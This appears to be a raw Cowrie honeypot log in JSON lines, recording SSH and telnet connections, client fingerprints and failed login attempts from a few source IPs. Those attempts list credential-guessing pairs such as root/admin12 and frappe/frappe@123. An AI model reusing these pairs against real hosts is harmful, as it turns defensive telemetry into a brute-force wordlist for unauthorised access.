{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:34.912970Z","src_ip":"193.151.144.93","session":"1de6fbf240d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:35.085886Z","src_ip":"193.151.144.93","session":"1de6fbf240d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:35.634055Z","src_ip":"193.151.144.93","session":"1de6fbf240d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.753659963607788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:36.056993Z","src_ip":"50.62.181.92","session":"6af3c3b8c162","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"23071991","message":"login attempt [root/23071991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:36.142642Z","src_ip":"94.159.98.239","session":"6a732c2c0c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:37.333706Z","src_ip":"94.159.98.239","session":"6a732c2c0c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:37.713665Z","src_ip":"193.151.144.93","session":"1de6fbf240d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55134,"dst_ip":"10.17.0.5","dst_port":22,"session":"90566963323c","protocol":"ssh","message":"New connection: 193.151.144.93:55134 (10.17.0.5:22) [session: 90566963323c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:40.132247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:40.137447Z","src_ip":"193.151.144.93","session":"90566963323c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:40.307244Z","src_ip":"193.151.144.93","session":"90566963323c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"e26153118e8d","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: e26153118e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:40.409329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:40.414289Z","src_ip":"23.97.62.150","session":"e26153118e8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:40.649702Z","src_ip":"23.97.62.150","session":"e26153118e8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:40.825420Z","src_ip":"193.151.144.93","session":"90566963323c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12","message":"login attempt [root/admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:41.359085Z","src_ip":"23.97.62.150","session":"e26153118e8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:42.597576Z","src_ip":"23.97.62.150","session":"e26153118e8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":39644,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e375fb18d29","protocol":"telnet","message":"New connection: 69.4.83.194:39644 (159.203.135.109:23) [session: 7e375fb18d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:42.623454Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:42.885990Z","src_ip":"193.151.144.93","session":"90566963323c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46588,"dst_ip":"10.17.0.5","dst_port":22,"session":"053f5638f6c9","protocol":"ssh","message":"New connection: 193.151.144.93:46588 (10.17.0.5:22) [session: 053f5638f6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:45.443815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:45.454866Z","src_ip":"193.151.144.93","session":"053f5638f6c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:45.657759Z","src_ip":"193.151.144.93","session":"053f5638f6c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:46.157929Z","src_ip":"193.151.144.93","session":"053f5638f6c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:47.328037Z","src_ip":"193.151.144.93","session":"053f5638f6c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":52908,"dst_ip":"10.17.0.5","dst_port":22,"session":"f58c5a8ff472","protocol":"ssh","message":"New connection: 193.151.144.93:52908 (10.17.0.5:22) [session: f58c5a8ff472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:50.966311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:50.971498Z","src_ip":"193.151.144.93","session":"f58c5a8ff472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:51.140392Z","src_ip":"193.151.144.93","session":"f58c5a8ff472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:51.645584Z","src_ip":"193.151.144.93","session":"f58c5a8ff472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:53.702120Z","src_ip":"193.151.144.93","session":"f58c5a8ff472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":52934,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd2d53e3735a","protocol":"ssh","message":"New connection: 193.151.144.93:52934 (10.17.0.5:22) [session: dd2d53e3735a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:56.495420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:56.501096Z","src_ip":"193.151.144.93","session":"dd2d53e3735a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:56.676996Z","src_ip":"193.151.144.93","session":"dd2d53e3735a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:57.194312Z","src_ip":"193.151.144.93","session":"dd2d53e3735a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:58.370600Z","src_ip":"193.151.144.93","session":"dd2d53e3735a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39600,"dst_ip":"10.17.0.5","dst_port":22,"session":"53b0d72100a7","protocol":"ssh","message":"New connection: 193.151.144.93:39600 (10.17.0.5:22) [session: 53b0d72100a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:01.898914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:01.907287Z","src_ip":"193.151.144.93","session":"53b0d72100a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:02.079667Z","src_ip":"193.151.144.93","session":"53b0d72100a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:02.592230Z","src_ip":"193.151.144.93","session":"53b0d72100a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:03.773481Z","src_ip":"193.151.144.93","session":"53b0d72100a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.78521370887756,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:05.230936Z","src_ip":"79.139.59.21","session":"94fb370c7e05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39604,"dst_ip":"10.17.0.5","dst_port":22,"session":"18c2e9d5bc28","protocol":"ssh","message":"New connection: 193.151.144.93:39604 (10.17.0.5:22) [session: 18c2e9d5bc28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:07.345828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:07.359232Z","src_ip":"193.151.144.93","session":"18c2e9d5bc28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:07.527387Z","src_ip":"193.151.144.93","session":"18c2e9d5bc28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:08.024468Z","src_ip":"193.151.144.93","session":"18c2e9d5bc28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:10.889796Z","src_ip":"193.151.144.93","session":"18c2e9d5bc28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":58184,"dst_ip":"10.17.0.5","dst_port":22,"session":"c77f0117fe45","protocol":"ssh","message":"New connection: 193.151.144.93:58184 (10.17.0.5:22) [session: c77f0117fe45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:46:13.028269Z"}
